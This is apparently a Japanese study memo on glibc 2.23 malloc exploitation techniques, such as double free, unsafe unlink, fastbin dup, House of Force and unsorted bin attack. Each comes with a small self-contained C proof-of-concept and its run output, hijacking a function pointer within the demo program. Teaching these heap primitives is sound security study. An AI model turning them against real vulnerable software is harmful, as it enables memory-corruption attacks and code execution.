glibc malloc exploit techniques

malloc系exploitテクニックのうち、応用しやすそうなもののメモ。

環境

Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23

$ uname -a
Linux vm-ubuntu64 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

double free vulnerability and overlapping chunks

double free脆弱性は一度freeしたポインタをもう一度freeできてしまう脆弱性である。 この脆弱性を使うと、次のようにしてオーバーラップしたchunkを二つ得ることができる。 また、これらを利用することでサイズの違うchunkの書き換えやヒープアドレス、libcアドレスのリークを行うことができる。

/* double_free.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    puts("[+] allocate p1");
    char *p1 = malloc(0x80);
    printf("p1 = %p\n", p1);

    puts("\n[+] free p1");
    free(p1);

    puts("\n[+] allocate p2");
    char *p2 = malloc(0x90);
    printf("p2 = %p\n", p2);

    puts("\n[+] p1 double free");
    free(p1);

    puts("\n[+] allocate p3");
    char *p3 = malloc(0xa0);
    printf("p3 = %p\n", p3);

    puts("\n[+] now p2 and p3 are overlapped");
    memset(p2, 'A', 0x80);
    memset(p3, 'B', 0x80);
    printf("*p2 = %s\n", p2);
    printf("*p3 = %s\n", p3);

    puts("\n[+] allocate p4, p5, p6");
    char *p4 = malloc(0xb0);
    char *p5 = malloc(0xc0);
    char *p6 = malloc(0xd0);
    printf("p4 = %p\n", p4);
    printf("p5 = %p\n", p5);
    printf("p6 = %p\n", p6);

    puts("\n[+] free p5 and p2");
    free(p5);
    free(p2);

    puts("\n[+] leak heap address via p3");
    printf("*p3 = %p\n", *(void **)p3);
    printf("heap base = %p\n", *(void **)p3 - 0x580);

    puts("\n[+] free p6");
    free(p6);

    puts("\n[+] leak libc address via p3: &(main_arena->top)");
    printf("*p3 = %p\n", *(void **)p3);
    printf("libc base = %p\n", *(void **)p3 - 0x3c3b78);

    return 0;
}
$ gcc double_free.c -o double_free

$ ./double_free
[+] allocate p1
p1 = 0x235a420

[+] free p1

[+] allocate p2
p2 = 0x235a420

[+] p1 double free

[+] allocate p3
p3 = 0x235a420

[+] now p2 and p3 are overlapped
*p2 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
*p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

[+] allocate p4, p5, p6
p4 = 0x235a4d0
p5 = 0x235a590
p6 = 0x235a660

[+] free p5 and p2

[+] leak heap address via p3
*p3 = 0x235a580
heap base = 0x235a000

[+] free p6

[+] leak libc address via p3: &(main_arena->top)
*p3 = 0x7f8990ea9b78
libc base = 0x7f8990ae6000

ヒープオーバーフローやこの挙動を利用してheap上のchunk headerを書き換えることにより、以降に述べる攻撃が可能となる。

allocate large chunks in heap segment

通常0x20000バイト(M_MMAP_THRESHOLD)以上のメモリをallocすると、その領域はmmapにより確保される。 しかし、一度確保したメモリをfreeしてからあらためてallocすると、以降の領域はheap領域に確保される。

/* large_chunks_in_heap.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    puts("[+] allocate p1");
    char *p1 = malloc(0x21000);
    printf("p1 = %p\n", p1);

    puts("\n[+] free p1");
    free(p1);

    puts("\n[+] allocate p2, p3, p4");
    char *p2 = malloc(0x21000);
    printf("p2 = %p\n", p2);
    char *p3 = malloc(0x21000);
    printf("p3 = %p\n", p3);
    char *p4 = malloc(0x21000);
    printf("p4 = %p\n", p4);

    return 0;
}
$ gcc large_chunks_in_heap.c -o large_chunks_in_heap

$ ./large_chunks_in_heap
[+] allocate p1
p1 = 0x7fbc43aa0010

[+] free p1

[+] allocate p2, p3, p4
p2 = 0x16db420
p3 = 0x16fc430
p4 = 0x171d440

unsafe unlink attack

古くに存在した攻撃手法としてunlink attackが知られているが、glibc 2.3.4以降、次に示すようなチェックによりこの攻撃は防がれている(safe unlinking)。

1413 /* Take a chunk off a bin list */
1414 #define unlink(AV, P, BK, FD) {                                            \
1415     FD = P->fd;                                                               \
1416     BK = P->bk;                                                               \
1417     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     \  /* <- here */
1418       malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
1419     else {                                                                    \
1420         FD->bk = BK;                                                          \
1421         BK->fd = FD;                                                          \
1422         if (!in_smallbin_range (P->size)                                      \
1423             && __builtin_expect (P->fd_nextsize != NULL, 0)) {                \
1424             if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
1425                 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
1426               malloc_printerr (check_action,                                  \
1427                                "corrupted double-linked list (not small)",    \
1428                                P, AV);                                        \
1429             if (FD->fd_nextsize == NULL) {                                    \
1430                 if (P->fd_nextsize == P)                                      \
1431                   FD->fd_nextsize = FD->bk_nextsize = FD;                     \
1432                 else {                                                        \
1433                     FD->fd_nextsize = P->fd_nextsize;                         \
1434                     FD->bk_nextsize = P->bk_nextsize;                         \
1435                     P->fd_nextsize->bk_nextsize = FD;                         \
1436                     P->bk_nextsize->fd_nextsize = FD;                         \
1437                   }                                                           \
1438               } else {                                                        \
1439                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;                 \
1440                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;                 \
1441               }                                                               \
1442           }                                                                   \
1443       }                                                                       \
1444 }

しかし、mallocで確保される領域のポインタがbss領域など推測可能なアドレスに配置される場合、偽のfreed chunkを作ることによりこのポインタ自体を書き換えることができる。

/* unsafe_unlink.c */
#include <stdio.h>
#include <stdlib.h>

void jackpot() { puts("jackpot!"); }

char *p;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p and p1");
    p = malloc(0x40);
    char *p1 = malloc(0x80);
    printf("p = %p\n", p);
    printf("p1 = %p\n", p1);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] abuse p overflow");
    *(void **)(p+0x10) = (void *)&p-0x18;
    *(void **)(p+0x18) = (void *)&p-0x10;
    *(void **)(p+0x40) = 0x40;
    *(void **)(p+0x48) = 0x90;
    printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18);
    printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] free p1 (p <- &p-0x18)");
    free(p1);
    printf("p = %p\n", p);

    puts("\n[+] modify p and write *p");
    *(void **)(p+0x18) = 0x601028;  /* printf@got */
    *(void **)p = jackpot;

    printf("p = %p\n", p);
    return 0;
}
$ gcc unsafe_unlink.c -o unsafe_unlink
unsafe_unlink.c: In function ‘main’:
unsafe_unlink.c:24:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x40) = 0x40;
                        ^
unsafe_unlink.c:25:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x48) = 0x90;
                        ^
unsafe_unlink.c:36:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x18) = 0x601028;  /* printf@got */
                        ^

$ ./unsafe_unlink
&p = 0x601058

[+] allocate p and p1
p = 0x20bc420
p1 = 0x20bc470
p1->prev_size = (nil)
p1->size = 0x91

[+] abuse p overflow
p->fd->bk = 0x601058
p->bk->fd = 0x601058
p1->prev_size = 0x40
p1->size = 0x90

[+] free p1 (p <- &p-0x18)
p = 0x601040

[+] modify p and write *p
jackpot!

追記

上のコードで行っているPREV_INUSEクリア→prev_sizeをfake chunkに向ける→unsafe unlink attackという流れはHouse of Einherjarとして公表されている。 Einherjarは古ノルド語で、エインヘリャルと読む。 厳密には、fake chunkのfd、bkをfake chunk自身に向け、そのアドレスを返させるものを指すのかもしれない。

fastbins unlink attack

通常0x80=128バイト(M_MXFAST)未満のメモリをallocすると、その領域はfastbinsと呼ばれる特別なfree listに繋がれるchunkとして扱われる。 さらに、fastbins chunkがunlinkされる際のチェックは、通常のunlinkとは異なり、p->fd->sizeが正しいかどうかのみとなる。 これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、次のようにして攻撃を行うことができる。

/* fastbins_unlink.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

void *n = 0x51;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p1, p2");
    char *p1 = malloc(0x20);
    char *p2 = malloc(0x40);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x28) = 0x51;
    *(void **)(p1+0x30) = (void *)&p - 0x10;
    printf("p2->size = %p\n", *(void **)(p2-0x8));
    printf("p2->fd = %p\n", *(void **)(p2+0x0));

    puts("\n[+] unlink p2");
    char *p3 = malloc(0x40);
    printf("p3 = %p\n", p3);

    puts("\n[+] get target memory");
    char *p4 = malloc(0x40);
    printf("p4 = %p\n", p4);
    *(void **)p4 = jackpot;

    p();
    return 0;
}
$ gcc fastbins_unlink.c -o fastbins_unlink
fastbins_unlink.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
 void *n = 0x51;
           ^
fastbins_unlink.c: In function ‘main’:
fastbins_unlink.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x28) = 0x51;
                         ^

$ ./fastbins_unlink
&p = 0x601058

[+] allocate p1, p2
p1 = 0x1ac6420
p2 = 0x1ac6450

[+] free p2

[+] abuse p1 overflow
p2->size = 0x51
p2->fd = 0x601048

[+] unlink p2
p3 = 0x1ac6450

[+] get target memory
p4 = 0x601058
jackpot!

fastbin dup into stack

fastbinsは片方向リストとなっているため、p1、p2、p1のようにfreeすることでp1を2回free listに入れることができる。 したがって、その後同一サイズのchunkを3回mallocすると、1回目と3回目で同一のchunkがunlinkされることになる。 これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、1回目で確保したchunkの p->fd を書き換えることでfastbins unlink attackを行うことができる。 なお、慣習的にinto stackと呼ばれているが、条件を満たすアドレスであればstack上のアドレスに限らず書き換えが可能である。

/* fastbin_dup_into_stack.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

void *n = 0x51;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p1, p2, p3");
    char *p1 = malloc(0x40);
    char *p2 = malloc(0x40);
    char *p3 = malloc(0x40);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);

    puts("\n[+] free p1, p2, p1");
    free(p1);
    free(p2);
    free(p1);

    puts("\n[+] allocate p4, p5");
    char *p4 = malloc(0x40);
    char *p5 = malloc(0x40);
    printf("p4 = %p\n", p4);
    printf("p5 = %p\n", p5);

    puts("\n[+] write p4->fd");
    *(void **)p4 = (void *)&p - 0x10;
    printf("p4->size = %p\n", *(void **)(p4-0x8));
    printf("p4->fd = %p\n", *(void **)p4);

    puts("\n[+] unlink p4 by allocating p6");
    char *p6 = malloc(0x40);
    printf("p6 = %p\n", p6);

    puts("\n[+] get target memory");
    char *p7 = malloc(0x40);
    printf("p7 = %p\n", p7);
    *(void **)p7 = jackpot;

    p();
    return 0;
}
$ gcc fastbin_dup_into_stack.c -o fastbin_dup_into_stack
fastbin_dup_into_stack.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
 void *n = 0x51;
           ^

$ ./fastbin_dup_into_stack
&p = 0x601058

[+] allocate p1, p2, p3
p1 = 0x1e8e420
p2 = 0x1e8e470
p3 = 0x1e8e4c0

[+] free p1, p2, p1

[+] allocate p4, p5
p4 = 0x1e8e420
p5 = 0x1e8e470

[+] write p4->fd
p4->size = 0x51
p4->fd = 0x601048

[+] unlink p4 by allocating p6
p6 = 0x1e8e420

[+] get target memory
p7 = 0x601058
jackpot!

chunk size overwrite attack

隣接するfreed chunkのサイズを書き換えることにより、次のmallocでそのchunk以降にまたがる大きなchunkを確保することができる。 GHOST脆弱性(CVE-2015-0235)のPoCにて利用された。

/* chunk_size_overwrite.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

int main()
{
    puts("[+] allocate p1, p2, p3");
    char *p1 = malloc(0x80);
    char *p2 = malloc(0x80);
    void (**p3)() = malloc(sizeof(void *));
    *p3 = leave;
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);
    printf("p2->size = %p\n", *(void **)(p2-0x8));
    printf("*p3 = %p\n", *p3);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x88) = 0x1001;
    printf("p2->size = %p\n", *(void **)(p2-0x8));

    puts("\n[+] allocate a large chunk");
    char *p4 = malloc(0x200);
    printf("p4 = %p\n", p4);

    puts("\n[+] overwrite *p3");
    *(void **)(p4+0x90) = jackpot;
    printf("*p3 = %p\n", *p3);

    (*p3)();
    return 0;
}
$ gcc chunk_size_overwrite.c -o chunk_size_overwrite
chunk_size_overwrite.c: In function ‘main’:
chunk_size_overwrite.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x88) = 0x1001;
                         ^

$ ./chunk_size_overwrite
[+] allocate p1, p2, p3
p1 = 0x8ca420
p2 = 0x8ca4b0
p3 = 0x8ca540
p2->size = 0x91
*p3 = 0x4005f6

[+] free p2

[+] abuse p1 overflow
p2->size = 0x1001

[+] allocate a large chunk
p4 = 0x8ca4b0

[+] overwrite *p3
*p3 = 0x400607
jackpot!

House of Force attack

heap領域に並ぶchunkの一番最後(top chunk)のサイズを-1(0xFFFFFFFFFFFFFFFF)のような大きな値で書き換え、さらにサイズを細工した巨大なchunkを確保することにより、次のmallocが返すアドレスを任意の0x10の倍数となるアドレスにすることができる。 これを行うには、以下の条件をすべて満たすことが必要である。

  • top chunkのアドレスが推測可能
  • top chunkのサイズを任意の値に書き換えられる
  • その後任意のサイズのmallocを呼ぶことができる

また、次のmallocが返すアドレスの1ワード前が破壊されることに注意する必要がある。

/* house of force.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

unsigned long junk = 0xdeadbeef;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);
    printf("junk = %lx\n", junk);

    puts("\n[+] allocate p1");
    char *p1 = malloc(0x40);
    char *top_chunk = p1+0x40;
    printf("p1 = %p\n", p1);
    printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x48) = -1;
    printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));

    puts("\n[+] allocate a huge chunk (break &p-0x8)");
    long newsize = (void *)&p-0x10-(void *)(top_chunk+0x10);
    char *p2 = malloc(newsize);
    printf("junk = %lx\n", junk);

    puts("\n[+] get target memory");
    char *p3 = malloc(0x80);
    printf("p3 = %p\n", p3);

    if ((long)&p % 0x10 == 0) {
        *(void **)p3 = jackpot;
    } else {
        *(void **)(p3+0x8) = jackpot;
    }

    p();
    return 0;
}
$ gcc house_of_force.c -o house_of_force
house_of_force.c: In function ‘main’:
house_of_force.c:23:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x48) = -1;
                         ^

$ ./house_of_force
&p = 0x601050
junk = deadbeef

[+] allocate p1
p1 = 0x117f420
top chunk size = 0x20ba1

[+] abuse p1 overflow
top chunk size = 0xffffffffffffffff

[+] allocate a huge chunk (break &p-0x8)
junk = b7e419

[+] get target memory
p3 = 0x601050
jackpot!

unsorted bin attack

fastbin chunkではないchunk(サイズがM_MXFAST以上)のbkを書き換えることにより、推測可能なアドレスにある値を大きな値(&(main_arena->top))に書き換えることができる。

/* unsorted_bin.c */
#include <stdio.h>
#include <stdlib.h>

unsigned long target = 0xdeadbeef;

int main(){
    printf("target = %lx\n", target);

    puts("\n[+] allocate p1, p2, p3");
    char *p1 = malloc(0x80);
    char *p2 = malloc(0x90);
    char *p3 = malloc(0xa0);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abusing p1 overflow");
    *(void **)(p1+0x98) = (void *)&target-0x10;

    puts("\n[+] allocate p4 with the same size of p2");
    char *p4 = malloc(0x90);
    printf("p4 = %p\n", p4);

    puts("\n[+] target is overwritten with a large number: &(main_arena->top)");
    printf("target = %lx\n", target);
    return 0;
}
$ gcc unsorted_bin.c -o unsorted_bin

$ ./unsorted_bin
target = deadbeef

[+] allocate p1, p2, p3
p1 = 0x1d60420
p2 = 0x1d604b0
p3 = 0x1d60550

[+] free p2

[+] abusing p1 overflow

[+] allocate p4 with the same size of p2
p4 = 0x1d604b0

[+] target is overwritten with a large number: &(main_arena->top)
target = 7fd47489eb78

更新履歴

  • 2016/10/18: double free vulnerabilityによるlibcアドレスのリーク、unsorted bin attackを追記
  • 2018/01/24: fastbin dup into stackを追記

関連リンク